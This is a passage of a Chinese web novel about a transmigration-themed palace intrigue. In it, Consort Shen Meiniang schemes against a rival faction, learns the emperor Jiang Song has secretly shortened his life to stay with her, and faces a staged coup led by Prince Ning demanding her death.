说他好娈童的,说他是天残的,都算好听点的谣言了。 更别说那些沈美娘这个听惯了民间戏说的人,都觉得下流荒谬的谣言了。 沈美娘也是去了趟西南,才知道叶明舟这人为何会如此奇怪。 她从姜颂口中,得知了姜翩翩的生母是谢太后。 又在启程回京前,才从颜舜华那处知道,姜翩翩的生父——居然是叶丞相。 也不怪谢党人什么离奇的故事都安到叶丞相头上去了,都没想到真相…… 如果不是沈美娘有颜舜华这个“金手指”,谁又能想到对先帝最忠心,和谢党人势同水火的叶丞相,竟然会和先帝的废后,谢阁老的长女有私情呢? “见过这位娘子。” 沈美娘原本还在默默出神,却被一道男声突兀地打断。 她回过神,看向不远处被侍女拦下,低头给她行礼的男人。 “你这是做什么?”沈美娘好奇问。 她不着痕迹地打量了一下面前的男人。 瞧着年纪不大,穿的是绸衣,但款式老旧,像是从成衣店租的,亦或是家中长辈的。 想来眼前的少年,是为了拜谒叶丞相,才特地换了这身衣裳。 少年道:“草民写了首诗,想献给您。” 沈美娘反应过来,这少年是看出了她地位不凡,来给她行卷了。 沈美娘让韦阿宜将少年的诗拿给她,她摊开看了看,是一首很标准的干谒诗。 诗中少了几分阿谀奉承之意,多了几分清高。 沈美娘注意到纸上的落款,瞧了瞧,掀开帘子露出她的整张脸:“你叫刘知渊?” 刘知渊看清沈美娘的脸,眼神滞了片刻,才猛地反应过来:“是,正是草民的名讳。” “这诗写成这样,你这般清高硬气,我倒是不太喜欢。”沈美娘试探道。 刘知渊不急不徐,解释道:“叶丞相就喜欢略有傲气的举子,谢阁老喜欢给他写家乡故景的诗,郑尚书喜欢把他夸得天上有地上无的诗……” 他从袖中又取出几卷诗,明显是等着后面去其他几家用的。 沈美娘摊开一看,果真全如这少年所说。 还真是有趣的人。 “那我呢?你知道我喜欢什么样的吗?”沈美娘反问。 刘知渊摇头:“草民虽眼下不知,但草民知道连叶丞相、谢阁老都有惜才招揽之心,贵人您又如何会输给他们?” 沈美娘听到这里,越发觉得这人有意思,撑起下巴挑眉看他:“你是怎么知道我就是贵人呢?” “能坐如此阔气的马车,还能跟随这般多的奴仆,只需一眼,便知道您是贵人。再说,您的侍从中有几位,肤白无须,想来定是贵人中的贵人。”刘知渊道。 原来这人是从那些太监身上,看出她是宫中之人了。 沈美娘又问:“那你说我到底是谁?” “不是宗室公主,便是当今圣上最宠爱的贵妃娘娘了。”刘知渊道。 沈美娘收下了这人写给叶丞相的那首诗,对他笑道:“你觉得我漂亮吗?” 刘知渊愣在原地,在沈美娘明媚的笑中失了神。 沈美娘没等他的回答,就直接放下车帘,让车夫启程了。 留在原地的刘知渊伸手捂住砰砰乱跳的心,回想刚才那女人的话。 他认为那个漂亮女人应该是答应帮他了。 可那女人突然问他,她美不美是什么意思? 刘知渊愣了一下,突然想到坊间盛传陛下的沈贵妃艳色绝世,才哄得陛下那般宠爱她。 他原本以为这位最多就是哪位公主、郡主,却没想到竟然会是贵妃娘娘! 他、他刘知渊发达了! 另一边的沈美娘到了沈温约她见面的酒楼。 她将刚才刘知渊给她的诗,递给沈温:“这是我的人,还请沈大人关照一下。” 沈温看了眼那首诗,道:“是他。” “怎么呢?有问题吗?”沈美娘问。 沈温摇头:“此人已经给我行过卷了,诗才还行,但太过钻营,算不得什么良才。” “大人,世上之人不是所有人都能恃才傲物,又或有个名门出身。汲汲营营……我倒觉得是上进肯干不服输,我喜欢。”沈美娘道。 “再说,我从不觉得有什么良才庸才,这人擅于钻营,自有适合他的位置。”沈美娘提点沈温,“虽说今年知贡举的不是沈大人,但以你的地位能力,这个活迟早得轮到大人。你若是一直如此看人,想必对大人不利。” 沈温点头应下。 他想起沈美娘通过宝儿出宫慰问,与他交代的事,问:“你当真要设局把谢阁老拉下来?” “之前想的,现在我改变主意了。”沈美娘摇头。 她之前是想从姜翩翩的身世上做文章,给谢阁老点厉害看看。 但如今姜颂既然打算装病,她正好就有了新的可以利用的点了。 沈美娘还没说她新的打算,沈温却先开口道:“美娘,谢党这次利用你的身世想拉你下来的事,陛下已经责罚了,你又何必……” “我这次去西南查案,始作俑者是谢阁老吧?”沈美娘反问。 沈温点头。 沈美娘轻嗤一声:“那请问他可有什么损失?” 谢阁老年事已高、德高望重,又是陛下名义上的外祖父,加之有人替他顶了罪。 这次他并未受到什么重责。 沈美娘见沈温不语,道:“都被人扇了一巴掌了,还不用力扇回去?那得是多蠢的人。” “我就是要报复回去,我要叫满朝文武都看着,和沈贵妃作对,会是什么下场。” 谢明安和李姮,是她用来招揽人心的“甜枣”。 顺她者昌,已经有了例子了,沈美娘还需要一个“逆她者亡”的例子。 第78章 第78章兔女郎学姐不会梦到青春…… 沈美娘虽不打算继续利用姜翩翩和叶丞相的关系,但还是得知道叶丞相究竟知不知道姜翩翩是他女儿。 她问沈温:“你觉得姜翩翩和谁长得像?” 沈温不知道姜翩翩的身世,仔细想了会儿,道:“臣以为长宁郡主和陛下生得有几分像。” 这就是了,沈美娘当初也是这么觉得的。 她当时觉着蜀王妃也是宗室郡主出身,便觉得姜翩翩和姜颂长得像,说得过去。 如今想来,姜翩翩和姜颂长得像,恐怕是因谢家和皇室联姻频繁。 谢太后的生母是先帝同父同母的亲姐姐永寿公主,后来永寿公主嫁给了她的舅舅谢阁老,生下了谢太后。 谢太后与先帝算辈分,既能说是“外甥女和舅舅”的关系,也可以说是表姐弟的关系。 先帝和谢太后两人生得像,他俩各自的孩子,才会生得像。 谢太后如今深居简出,和叶丞相私下也无往来,也不知道她是已经和叶丞相断了联系,还是为了避嫌。 沈美娘更不确定叶丞相知不知道,他还有姜翩翩这个女儿。 沈美娘吩咐沈温:“你让人想办法上折子,就说蜀王妃这些年身体不好,郡主理应回她膝下尽孝。” 若叶丞相知道长宁郡主的身世,到时候必定会想办法阻止这件事。 沈美娘也就能知道答案了。 沈温虽不知沈美娘意欲何为,但还是应下:“臣会命人去办。” 谢党和叶党这些年,都在试图扩张势力。 军将中,两方都在努力争取的,一直都是代表开国勋贵利益的裴渡,以这人为核心的勋贵们掌京畿禁军和神策军。 不管是谢党,还是叶党都想拉拢他。 至于蜀王此人,本是胡族,本朝在胡人手上吃过亏。 先帝虽任用他为大将,还封了爵位、赐了国姓,但两党人倒是都很默契地看不上流着异族血脉的蜀王。 但——若说沈温放下清高身段,突然想去拉拢蜀王,也是能说得通的。 也就不会有人深究沈温上书。 沈美娘又道:“对了,姜颂要立我为后,到时候写诏书,不知道会轮到哪位大臣。你定要叫那人给我好好写,好好夸我,还得把我爹娘也全夸一顿。” 沈温听到沈美娘的话愣住,半晌,他勉强点了点头。 “还有,这次春闱,若是有什么不错的人才,还请你引荐给我。”沈美娘道。 她不能一辈子,手里就一个沈温可用。 沈温在这件事上答应得爽快:“好,臣一定仔细替您留意着。” 沈美娘说完正事,从袖中掏出一个荷包,放到沈温面前:“这是给你的。” 他盯着荷包,伸手握在手中,摩挲了好几下。 沈美娘给他仔细解释:“蜀中道观很多,这是我在那里最有名的道观给你求的灵符。听道长说,这符纸可以能给亡人指路……我也不知道,你有没有给你的家人求过,便帮你求了一份。” 沈温这才明白过来。 他猛地攥紧香囊,感谢的话到了嘴边,沈美娘却摇头:“你不必谢我。” “我说过,我这个人从来不薄待为我卖命的人。”沈美娘捧着手里的茶盏喝了口茶,又道,“我这次也探过蜀王的口风,他当年应该也是被谢党人骗了,以为祝将军当真一手策划了民变。” 沈温原本没指望沈美娘,会如此为他家的事情上心,却没成想她当真说到做到。 沈美娘把该说的话都说了,起身告辞。 沈温抬眼看她,红了眼眶:“美娘,多谢你。” 他又一次逾了规矩。 沈美娘听出了沈温声音里的哽咽,但没有回身。 她只道:“祝将军是个英雄,他治军严明,若是没有他和将士们戍守边疆,思州城也不会那般安稳。” 沈美娘的父亲从前被征过兵,她从小就知道战争的残忍。 她很讨厌战争,但她也明白,有些战争无可避免。 沈温为沈美娘口中听到“英雄”两个字,心尖一颤。 这是自九年前那场民变后,他第一次听到有人肯定他的父亲,肯定那些被诬陷为割据谋逆的将士。 沈温看着她娉娉袅袅的背影,不由与当年他濒死时,沈美娘蹲下给他喂水的画面重合。 当时瘦弱、脏兮兮,却双目炯炯有神的小姑娘,救了他的命。 而今日,已经长大了她,再次救了他的魂灵。 沈美娘从沈温处离开,让车夫饶了一圈,打算去给姜颂买,上元节他带她去吃的那家小摊的馄饨。 姜颂最近得了风寒,吃东西也没胃口,她想着买点他在宫里吃不到的东西,让他开心些。 沈美娘从摊贩手中,接过热乎乎的馄饨, 转身却差点撞上突然出现的男人。 男人伸手扶住她,道:“小心。” 沈美娘怕吓到摊主,让马车停在了坊市口,也没让侍女们跟来。 她自从来了上京就不爱戴帏帽了。 她原以为这是哪个看到她的脸走不动道的路人。 但沈美娘抬眼,看到了面前的男人—— 这是上次上元节和姜颂遇到的,那个丑男人……好像是叫宁王。 沈美娘与他拉开一段距离,道:“多谢宁王殿下。” 宁王看着眼前温柔、美丽,和梦中女人几乎一模一样的女人,心脏忍不住乱跳。 上元一别,宁王无不惦念着沈美娘,也比之前更爱做另一个世界的梦。 宁王见女人想走,拉住她的手,含情脉脉:“美娘……” 沈美娘被男人触碰的瞬间,心里升腾起厌恶。 她用力甩开男人的手,斥道:“还请宁王殿下自重。” 这个丑男人上次看她就一副直白的色迷迷的模样。 眼下姜颂不在,这人竟敢拉她的手? 这男的长这么丑,都别说沈温了,还没叶随好看。 沈美娘被她摸了手,感觉自己像是被一头猪蹭了。 宁王见沈美娘要离开,忙追到她身前,道:“美娘,难道你就从来没梦到过我吗?” 他做了这么多年绮丽、温暖、明媚的,关于眼前女人的梦。 她难道就从来没有记起过两人之间的故事吗? 沈美娘站定,转身冷冷看着眼前的男人:“你现在最重要的,是赶紧请太医看看脑子。” 她就说皇室喜欢和世家近亲联姻有坏处吧,看这都生产出什么猪头来了。 这么丑的男人,她疯了才会做梦想他。 姜颂那般好看的一张脸,都没有说过这种自恋的话。 这个宁王还真是——“普信”。 宁完看着沈美娘远去的背影,心里怅然若失。 他日日惦念着的人,心里却根本没有他,也记不得两人共度的一生。 不——不怪眼前的女人。 她在梦中是那般温柔和婉,她上元节那日也是那般灵动娇俏,对姜颂也那般好。 都怪姜颂。 是这个男人蛊惑了沈美娘,抢走了本该属于他的幸福人生。 还好,那个病秧子就快要死了,这天下终于要回到他手里了。 沈美娘,也会属于他。 第79章 第79章山雨欲来。 沈美娘那日遇到那个在她看来脑子像有病的宁王后,就一直在琢磨关于他的事。 她从颜舜华口中,了解过关于这个宁王。 沈美娘大抵知道,按照颜舜华说的原本的历史线,他才该是皇帝。 但她也不明白这人为何会拥有那个世界的记忆——或许,这就是颜舜华说过的“历史线崩坏,世界意识修复”的作用之一。 就像世界意识容不下不属于这里的宋薇和姜颂。 同样,世界意识也无比希望历史线能够回到“正常”的线上去。 宁王才能记起“本该”属于那个世界的记忆。 沈美娘原本还在想宁王的事,却忽然听宫人来通传,说是苏尚宫求见。 苏云卿? 沈美娘虽不知苏云卿前来所为何事,但还是命人将她请了进来。 苏云卿和她闲聊了几句,意有所指地看了看沈美娘身边的人。 沈美娘明白这人想必是有什么要紧话要说,挥了挥袖,命其他人都退下了。 苏云卿道:“这些日子谢阁老身体不好,陛下便命臣代他出宫慰问,前去探望。” 沈美娘知道内闱之内,高阶女官和深受皇恩的女官,都有可能代皇帝或是高位妃嫔出宫慰问。 “难不成,苏尚宫是发现了什么异样吗?”沈美娘问。 苏云卿压低声音:“回娘娘,那日在谢府,谢阁老只命管家接待了臣,但臣并未见到他本人。” 沈美娘:“兴许,谢阁老真的病得很重,需要静养,无法起身呢?” “臣原也如此认为,但臣在谢府见到了郑尚书的贴身小厮。臣从前做掌宾时,常为诸位大人们引路,臣很确定那就是郑尚书……刺史的人。”苏云卿语气无比坚定,“那小厮手里还拿着书信,瞧着还未启封,像是谢阁老给他的回信。” 可这些日子谢阁老不是都病得下不了床了吗? 上次沈美娘杀人的旧事,最后被郑愔和其余几位谢党人顶了下来,他本人也被贬衢州。 但郑愔离开上京不过半月,谢阁老就称病,还派他最亲近的小厮突然进京。 苏云卿怎么想,都觉得这事情不对。 苏云卿道:“微臣认为此事实在奇怪,便想着告知娘娘。” 沈美娘也听出了其中的怪异之处,问:“此事,你可与陛下说过呢?” 苏云卿恭谨地福身:“此事事关重要,臣已然禀告了陛下,但臣以为也应当禀告娘娘。” 她轻笑道:“臣如今的尚宫之位,离不开娘娘您的提拔,平日里臣命尚仪局的同僚们照顾宝儿姑娘,只是应尽之责。今日这种大事告知娘娘,才算得上略报娘娘大恩。” 沈美娘定神看了一会儿苏云卿,笑开:“你有心了。” “本宫也有事情交给苏尚宫去做。苏尚宫久居宫中,对宫中诸位主子应该都有了解。谢阁老身子不好,太后娘娘肯定会牵肠挂肚,还请苏尚宫帮本宫再仔细些盯着寿康宫。”沈美娘道。 这个苏云卿很聪明,知道给自己多找个靠山,同时对姜颂这个于她有恩的人,也算是尽忠了。 比起沈温、刘知渊那种人,沈美娘更喜欢她。 沈美娘深谙用人之道,主动起身拉住苏云卿的手,亲昵道:“本宫小时候就希望能有个姐姐,可惜几次三番找阿娘要,都没要到。” 苏云卿有些惶恐,沈美娘却将另一只手也搭到苏云卿手上。 她柔声道:“苏尚宫叫‘云卿’,本宫叫‘美娘’,听起来不就正像一对姐妹吗?本宫如今已经有了宝儿这个妹妹,若是尚宫大人愿意,本宫还想认你作姐姐。不知大人可愿意?” “微臣惶恐,娘娘千金之躯……” 苏云卿 想抽回手,沈美娘依然紧握着她的手。 沈美娘将她的手指摊开,拔下头上的一支金簪放到她手心。 “昔有和熹皇后和班大家,我虽为妃妾,但学识鄙陋,还需要姐姐多多指点。”沈美娘轻笑,“姐姐学识谋略均不输男子,只是封一个小小郡君,未免太委屈了。” 沈美娘握住苏云卿的手,将金簪紧紧攥住:“我得意,定叫姐姐位国夫人,享同国公,出将入相,不输男儿。” 沈美娘含着笑意,静静看着眼前的苏云卿。 半晌,苏云卿将金簪插/进她自己的发髻中,俯身欲对沈美娘行大礼—— 沈美娘却一把托住她:“姐妹之间,何必如此。” 苏云卿眼中愈加动容,笑容真切许多:“臣蒙娘娘知遇之恩,今生必肝脑涂地报答您。” 沈美娘送苏云卿离开后,就往姜颂的紫宸殿去了。 沈美娘已经彻底想明白了。 姜颂他说什么称病,以冲喜的名义,好封她做皇后的事,就是哄她的。 这人其实是想用他重病的消息逼反谢家。 或者说,他想用这次所谓的重病,让所有心怀不甘、怨念的人,自己跳出来。 谢家人也没辜负姜颂精心设的局,还真如他所愿,蠢蠢欲动了。 上次那个宁王“作死”,当街就敢和她拉拉扯扯,恐怕就是已经和谢家商量好了。 外头那些人,如今恐怕都在等姜颂“死”,又或是快些传出重病昏迷的消息。 她还真是小瞧了姜颂。 沈美娘还以为这小皇帝行为古怪,是背着她为了留下来,和那个颜舜华瞒着她做了什么交易。 原来他是自己打算铲除他那个舅舅。 不过,先帝当年留着谢阁老不除,有多番考虑。 其中最重要的一条,就是把这人留给姜颂即位后,杀了立威的。 姜颂从前不想当皇帝,当然就没打算除掉他。 但如今他若是想要做个好皇帝,第一个要除掉的自然是这个谢阁老。 沈美娘一进紫宸殿就看到姜颂在喝药,她坐到他身边,靠在他肩上。 她把自己的所有猜想都和姜颂说了,也看到他的脸色果然变得更加苍白。 但他在听到她说完,脸色又和缓不少。 姜颂擦了擦嘴角的药,温和笑笑:“果然,什么事都逃不过美娘你的眼睛。” “那当然,陛下也不看看臣妾是谁。”沈美娘道。 她捏着鼻子,佯装被药味熏到了:“陛下还真是敬业,为了骗外头的人,竟真的喝这般苦的药。话说,这药不会对身体有什么影响吧?” 是药三分毒。 这个姜颂可别到时候为了做局,真把他自己的命给搭进去。 姜颂笑着摇头:“没事的,只是闻着苦。” 沈美娘听到这话勉强放下心来。 她抬起头,问他:“那你预计他们会什么时候动手呢?” 如果沈美娘没记错,南州刺史是范阳卢氏的子弟,也是谢党人。 如今郑愔也被贬衢州,这两地离得可近了,姜颂这不就给他们起兵谋反的机会吗? 姜颂道:“那就要看他们什么时候能说动那些勋贵了。” “晚一些的话,可能还需要一两个月,早一些的话……可能就是这两天了。”姜颂道。 姜颂轻轻抚着她的头发,眼神是她从未见过的温柔,“美娘,你不必忧虑。” “裴渡已经和我表态了,谢阁老在他这里下不了手。只是,他得和我演场戏,才能叫那些人跳进来。”姜颂道。 沈美娘觉察出来姜颂的不对劲儿,从他怀里挣扎着起身,盯着眼前的人。 不对。 她好像又想错了。 姜颂逼反那些人不是为了除去掣肘,给世家一个警告,他更像是在给她铺路。 沈美娘攥住他的手,质问:“宋江江,你到底要做什么?你……” 她上下打量着眼前的姜颂,站起身,唤殿外的青词:“你来给他诊脉!现在立刻就诊!” 姜颂看着她像是想要解释,沈美娘却喝斥:“你别说话。” 她等着青词印证她心底的那个猜想,可是这次青词还是摇了摇头:“娘娘,陛下并无大碍,风寒已经痊愈了。” 不是这样的。 沈美娘终于发觉姜颂说话的语气,很像是在交代后事。 只是他自己都没有意识到。 沈美娘让青词退下,她默默站在姜颂面前,仔细检查姜颂的身体。 她甚至扒开姜颂的衣服,去看他身上有没有什么她忽略掉的旧伤。 可她还是一无所获。 姜颂无奈:“美娘,我真的没事,你现在信了吗?” “我不信。”沈美娘立刻道。 她心中隐隐不安,在此刻,她无比确信自己的直觉。 姜颂一定瞒了她什么。 沈美娘伸手摸他的脸,循循善诱:“姜颂,你究竟瞒了我什么?你告诉我,我保证不生你气,你快告诉我。” 姜颂原本还想坚持他的谎言,可一滴温热的泪,却砸到了他的手上。 沈美娘哭了。 这是她第一次如此真情实感地落泪,还是当着她的面。 可她明明那么骄傲。 姜颂准备好的谎言,就这样全都说不出来。 “姜颂,你告诉我,你究竟想要做什么?”沈美娘没有管不听话的眼泪,继续等姜颂给她答案。 姜颂默了一下,心虚地垂下眼睫:“我让颜舜华骗你了,她其实根本没有什么两全其美的办法,我最多只能再活三四个月。” “你混蛋!”沈美娘扬起手,差点一巴掌甩在姜颂脸上。 她真想一巴掌打醒这个蠢货。 他到底知不知道自己在做什么! 可沈美娘在手即将碰上姜颂的时候,还是停了下来,转而用力抱住他。 她的眼泪愈加不听她话地流下,她不解:“为了一朝一夕,浪费几十年的阳寿,真的值得吗?你是不是有病?” “你以为我会记得你吗?”沈美娘推开怀里的姜颂。 她居高临下俯视他:“等你死了,我就养男宠,你不会以为我会为你守贞吧?等你死了,我最多怀念你一年,不,最多半个月。” “到时候,你黄土白骨、驾鹤西去,我就养一帮面首,乐师、琴师、诗人,我都养。还有沈温,他虽然丑了点,但勉强算个忠心的,我到时候也和他睡!”沈美娘越说越气。 “你以为我会感激你吗?!” 姜颂整理了一下他的衣襟,语气愧疚:“美娘,是我骗你。你日后,想怎么样……都好。” 沈美娘是真没想到姜颂会这样。 连沈温都刺激不到他呢? 沈美娘拉着姜颂的手就要走,道:“你马上去写密信,让蜀王将颜舜华赶紧送到上京来……” 可这次姜颂没有再听沈美娘的话,他挣脱了她的手。 他也红了眼眶:“美娘!” 沈美娘转身看他,逐渐平静下来。 姜颂才上前试图去拉她的手,被她躲开。 他有些失落地顿了一下,却还是再次伸出了手。 姜颂握紧她的手,道:“美娘,我不愿意去我阿娘那里,我就想陪在你身边。” “你就这么上赶着找死吗?”沈美娘依旧没什么好脸色。 她不理解任何放弃自己生命的人。 更不理解,是为了他人放弃自己生命的人。 “美娘,对我而言,让我去到一个没有你的世界,是比死亡更叫我痛苦的事。”姜颂道。 沈美娘想要骂他,姜颂却先一步道:“不光是因为爱,我是真的觉着,那个世界未必会比这个世界更适合我。” “在这里,我是皇帝,都活得不快乐。如果去了那边,我只是个寻常人,我真的会快乐吗?那些高楼大厦、那里的律法习俗,我真的能全都适应吗?”姜颂反问。 他遇到过全然属于那个世界的颜舜华。 虽然两人有过交谈,但姜颂也发现,她并不能完全理解他。 就像这个世界的人,会把他信奉的平等自由当成痴人说梦一样。 那里的人,是否也会觉得他古板、守 旧、无趣? 说来说去,这两个世界的人,都难以彻底接纳他。 沈美娘明白过来姜颂的意思,看他的目光略微柔和了一点。 姜颂继续道:“美娘,在认识你以前,我从来没想到过,会被人理解。” “我是被强行灌输了不属于这里的思想,你是这个时代,在机缘巧合下,挣扎着拥有更进步的思想。”姜颂道。 他上前两步,抱住沈美娘:“美娘,只有你和我,能彻底理解彼此。” 他们理解彼此的新奇想法,又明白各自被旧思想桎梏的不得已。 这是沈温、李洵风、颜舜华、他阿娘……还有这世间、另一个时空,无数人都无法理解的。 只有他们二人,才能明白彼此的痛苦、内耗和希冀。 沈美娘这次没有推开姜颂。 “就算这是个缘由,可是——你不要以为,我不知道,你愿意留在这里,还是因为你爱我。”沈美娘拉开两人的距离,继续质问姜颂。 “对,我就是爱你。”姜颂这次没有反驳,“我爱你,所以我不愿意你吃更多苦,我想你过得更顺遂。” 姜颂道:“我装病,谢家不反,就说明他们已经被我父皇敲打怕了。他们反了,我除掉他们,恶名我来背。我再封你做皇后,给你过继一个听话的孩子养着……三个月做不到,但是半年就够了,只要半年,你就可以少吃好多好多苦。” 沈美娘听到姜颂这些话,心中生气,却又不可能不动容。 她闭了闭眼,道:“你会死的。” “我知道,可美娘,你可以见到更多景色,可以活得更轻松,你的那些抱负都能更快被实现——千百年后,人们提及你的功绩时,我能作为一个小小的背景出现,就足够了。”姜颂笑得眉眼弯弯。 姜颂帮沈美娘轻轻拭去她眼角的泪珠:“美娘,这不是道德包袱,就像沈温、青词、苏云卿他们愿意跟着你干一样,我也愿意跟着你干。我也想成为你丰功伟绩里的一片砖,一块瓦,和你被记在同一张纸页上。” 沈美娘觉得姜颂的笑很扎眼。 在那个雨夜救姜颂前,她从来不知道,世上会有这种爱。 但她如今知道了。 沈美娘收敛泪意,伸手用力捏了捏姜颂的脸:“好吧,那我勉为其难,把你这个脑袋不够聪明的剑客收于麾下了。” “好!”姜颂抱住沈美娘。 他想像从前那般抱着沈美娘转圈,却忘记了他眼下今非昔比,身体根本就吃不消。 沈美娘本来就不瘦,姜颂差点不小心摔到地上。 幸好沈美娘身手矫健,稳住了身子。 姜颂连忙追问:“美娘,你没事吧?” 沈美娘怕姜颂伤心,摇头:“没事啦,我可是跳舞的,怎么会有事。” 姜颂放下心来,沈美娘也靠在他怀里。 “美娘。”姜颂感受着此刻的美好,忍不住开口。 沈美娘轻轻“嗯”了一声。 姜颂感受到怀里的温暖,身上的病痛好像全都消失了。 他将头埋进沈美娘的青丝间,道:“美娘,我们两真是天生一对。” 恰好,他拥有一位穿越的母亲和这里的父亲,又恰好,美娘在一次次事件里,不断生长出这个时代不容的思想。 他们就好像是为彼此而生一样。 沈美娘:“对,咱俩就是天作之合。” 有风入户,少了几分冷意,裹挟着春日的温暖。 窗外好像又飘了雪,但许是南方的春风,终于吹到了上京,就化作了淅淅沥沥的春雨。 沈美娘和姜颂相拥听了会儿雨声,原想就寝,却听到殿外传来太监尖利急促的声音—— “禀、禀陛下,裴将军、宁王反了!” 第80章 第80章一个不平凡的雨夜。…… 殿外很快传来逐渐逼近的兵戈声,沈美娘起身想出去,姜颂挡到她身前:“谢家虽反,终不敢弑君。” 本朝建立前,曾有很长一段时间天下大乱,各地诸侯、豪强割据一方,就是在这种礼崩乐坏的情况下,都未曾有人敢明目张胆弑君。 谢凡、郑愔等人出身名门,他们不敢,也不愿意背这种恶名。 沈美娘还有些担心,姜颂笑着拍了拍她的手,安慰道:“裴渡只是假意投靠谢家,若是谢阁老真的有弑君之心,他也不会坐视不理。” 沈美娘看着姜颂推开寝殿的门,向外走去。 外面的雨飘了进来,初春的雨,泛着凉意落在沈美娘脸上。 她明白这次谢阁老敢谋大逆,定然已经找好了借口。 沈美娘如今也看过一些书了。 她知道,这种时候一定得有个替罪羊,成为谢阁老起兵的借口。 这世上不会有比“请诛妖妃,以清君侧”更好的借口了。 她躲在内殿不出现,尽量不激怒将士,等着姜颂替她摆平今晚的一切,兴许会是最好的保命方法。 沈美娘眨了眨眼,望着姜颂站在檐下的背影。 “姜颂——” 她小跑到他身边,接过宦官手中的伞,为他挡住缠绵细密的雨丝。 姜颂没想到沈美娘会跟上来,他听到身侧的人,握住他的手:“我陪你去。” 姜颂现在身体不好,说不定吵不赢宁王、谢阁老那些人。 她得去帮他镇住场子。 “嗯。”姜颂这次没有拒绝。 他比沈美娘高许多,主动低头,方便沈美娘为他撑伞。 二人行至前殿时,裴渡的兵马已经将紫宸殿围了个水泄不通。 宁王、沈温和裴渡三人,披坚执锐,站在长阶下。 姜颂呵斥:“尔等这是做什么?!” 沈美娘发觉小皇帝这次终于有点像个人君。 终于像她从前教他那样,会说些严厉的话了。 被人簇拥着的宁王听到姜颂的话有些迟疑,他有些害怕地看了眼身旁的沈温,对方冲他点点头。 宁王这才上前一步,将事先准备好的说辞道来:“陛下,你身边妖女,乃是猫鬼所化,会吃人心肝。陛下,如今就是被这妖女祸害,才会身体日渐衰败。臣等、臣等——” 宁王跪下:“还请陛下,诛妖妃,还社稷安宁。” “荒唐!”姜颂拂袖,指着宁王,“贵妃恭敬淑顺,待下宽和,素有贤名,如何就成了你口中的妖妃?” 士兵将太医院的院判提到阶前,那人额头上溢出一层薄汗,忙不迭道:“陛下、陛下,您不要再被这妖女迷惑了。就是因这人,您的身体才一日日坏掉。宁王殿下所说,句句属实呐!” 沈美娘帮姜颂撑着伞,默默垂眼看着阶下的众人。 她很快确定,这个“叛变”的太医,恐怕也是姜颂事先安排好的。 沈美娘这才明白姜颂从来都不蠢,相反,他聪明得可怕,他也很懂权术。 若不是这人心思从不在做个好皇帝这件事上,恐怕也会是个名垂千古的帝王。 姜颂在听到宁王这些话后,沉默了许久。 他的目光扫过在场的众人,最后又落回宁王身上。 姜颂眼中是彻骨寒意,他盯着宁王,问:“你想坐朕的位置?” 宁王从没把这个废物堂兄放在眼里过,在他眼里,姜颂就是个捡了便宜登上皇位的废物。 可此刻真正刀剑相对、剑拔弩张,他才发现,他可能从来都没真正了解过 这个皇兄。 宁王擦了擦额头上与雨水混在一起的冷汗,声音颤抖:“堂弟不敢,堂弟只是请诛妖妃……” “不敢?你当然不敢。古往今来,弑君之人,有几人善终者?你们自然得找个好听些的理由。”姜颂格外平静地看着眼前的众人,“你们想要贵妃的命,还得问朕答不答应。” 他这句话落在深沉的夜里,显得格外掷地有声,也让将士们似乎愈加骚动。 姜颂顺着台阶而下,沈美娘有些担心地捏了捏他的手。 姜颂回头看了她一眼,眼里依旧是细碎笑意,似乎是想让他放心。 沈美娘还是选择相信姜颂,帮他继续撑着伞,陪在他身边。 姜颂边走边朗声道:“在座的诸位将士们也得想清楚了,你们可不是贱民,你们也都是这长安城中置办了房产,有家室的人。” “弑君之罪,会有贵人背吗?哪个贵人敢背这等罪名?”姜颂在宁王面前停下,“贵人定会从你们这些人中找到替罪之人,你们以为,你们来这出兵变逼宫就能讨到好?” 听到这话,除了裴渡外的将士,脸上浮起几分慌张。 姜颂看着他们又道:“沈贵妃,是上天属意朕,降而助朕于危难之时。贵妃乃是仙人在世,是祖宗庇佑朕,降之福泽,何来妖女之说?” “何况——贵妃于南州,灭掠人贸易,救无数妇孺孤独;在上京,除欺下、弃妻的李守义,为百人冤案昭雪;远赴南疆,破淫祠邪庙……桩桩件件,可见其纯,可见其明。” 他挥袖指天,质问在场所有人:“贵妃之贤德,天地可鉴,汝辈却敢污天人为妖女,就不怕天地降罪吗?” 恰在此时,原本和风细雨的春夜里,竟真的传来阵阵春雷。 沈美娘在此刻有些相信她是所谓“女主”了,不然这雷从哪里来的? 她又想到昨日是惊蛰,正是春雷惊醒万物的时节。 在南州时,她就曾和姜颂说过,这时候草木萌发、百虫皆醒,正是蜀中人要忙着播种新一年菜籽的时候。 她还和姜颂说过,这时春雷常鸣,桃始华,黄鹂初鸣,想来他也是清楚记下了。 今日姜颂才会利用这惊雷来吓人——可眼前这些不事农桑的人,如何能清楚又敏锐地察觉到这惊雷的“寻常”? 他们只会以为这是上天的怒火。 果然,姜颂的这番话,吓到了这些将士,他们的怒气消了不少。 他们是兵士,自然是听长官们的指挥。 可这天底下,哪里还有比皇帝更大的官呢? 皇帝是天下人的父亲,他们如何能违拗君父的旨意? 姜颂见目的达到,拉着沈美娘的手拾阶而上。 他道:“姜佑,你若是有弑君的勇气,今日便可杀了朕。只是,你敢弑君,旁人未必不敢弑你。你自以为你掌握了军权,便安然无恙?” 姜颂回身,看向满眼不甘的宁王:“古来得位不正者,会是什么下场,你想必也明白。” “在座诸位将士,若认为自己敢弑君者,大可弑之。”姜颂这句话一出,就算是裴渡、沈温都低下了头。 姜颂见状,轻笑一声,拉着沈美娘的手转身向内殿走去。 沈温试探问宁王:“殿下,您看如今咱们现在怎么办?” 宁王这才从恐惧中回过神,道:“先命人围住紫宸殿,没有本王的命令,不许任何人进出。” 那边姜颂终于进了内殿,将门一合,有些脱力地靠在沈美娘肩头:“演得我好累。” 他真的不喜欢当皇帝。 能不能快来个人打晕他,让他睁眼就是这件事已经被处理完了。 沈美娘拍了拍姜颂的肩,哄道:“没事了,姜颂你先睡会儿吧。” 姜颂点了点头。 沈美娘和姜颂躺到床上,相拥而眠。 不同于姜颂的昏昏欲睡,沈美娘看了眼前脸色苍白的少年很久很久。 天快亮时,她才也闭上眼睡去。 又过了几日,她们从宫女处,得到了裴渡和沈温递来的消息。 郑愔和南州卢刺史起兵,打的是“诛妖妃,清君侧”的名义。 裴渡等人的禁军则包围了皇城内外,“没反应过来”的叶党人,按照姜颂的安排没有轻举妄动。 这两日,裴渡、沈温和宁王三人也轮番找过姜颂。 他们没人敢背“弑君”这种罪名,都希望姜颂能够主动赐死沈美娘,或是各退一步—— 他们可以不叫沈美娘死,但姜颂必须立宁王为皇太弟,把那夜的事件归为他下令召宁王入宫,托付宗庙社稷。 姜颂自然还是没答应。 